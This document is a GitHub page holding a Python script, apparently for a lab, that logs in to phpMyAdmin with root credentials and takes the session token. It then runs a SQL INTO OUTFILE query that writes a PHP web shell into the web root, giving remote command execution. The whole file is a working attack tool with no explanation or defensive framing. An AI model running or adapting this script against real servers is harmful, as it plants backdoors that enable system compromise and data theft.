forked from c610/tmp
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpma-shell.py
53 lines (43 loc) · 1.36 KB
/
pma-shell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
import urllib2, urllib, cookielib
import string
base = u'http://192.168.56.101/pma/phpMyAdmin-4.6.2-all-languages/'
query = 'select "<?php system($_GET[\'x\']);" into outfile "/var/www/html/testlink/mishell.php"'
username = 'root'
password = 'passpass'
login_params = urllib.urlencode({
u'pma_username' : username,
u'pma_password' : password,
u'lang' : u'en-utf-8',
u'convcharset' : u'utf-8',
u'server' : u'1'
})
urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor()))
f = urllib2.urlopen(base + u'index.php', login_params)
redirect_url = f.geturl()
token_label = "&token="
pos = string.rindex(redirect_url, token_label)
pos2 = string.index(redirect_url, '&', pos + len(token_label))
token = redirect_url[pos + len(token_label):pos2]
gotToken = token
f.close()
s = 'hi'
backup_params = urllib.urlencode({
'is_js_confirmed' : '0',
'token' : gotToken,
'pos' : '0',
'goto' : 'server_sql.php',
'message_to_show' : 'Your+SQL+query+has+been+executed+successfully.',
'prev_sql_query' : '',
'sql_query' : query,
'sql_delimiter' : ';',
'show_query' : '1',
'fk_checks' : '0',
'SQL' : 'Go',
'ajax_request' : 'true',
'ajax_page_request' : 'true'
})
f = urllib2.urlopen(base + u'import.php', backup_params)
#print f.fp.read()
f.close()
print 'Done. Try shell now.'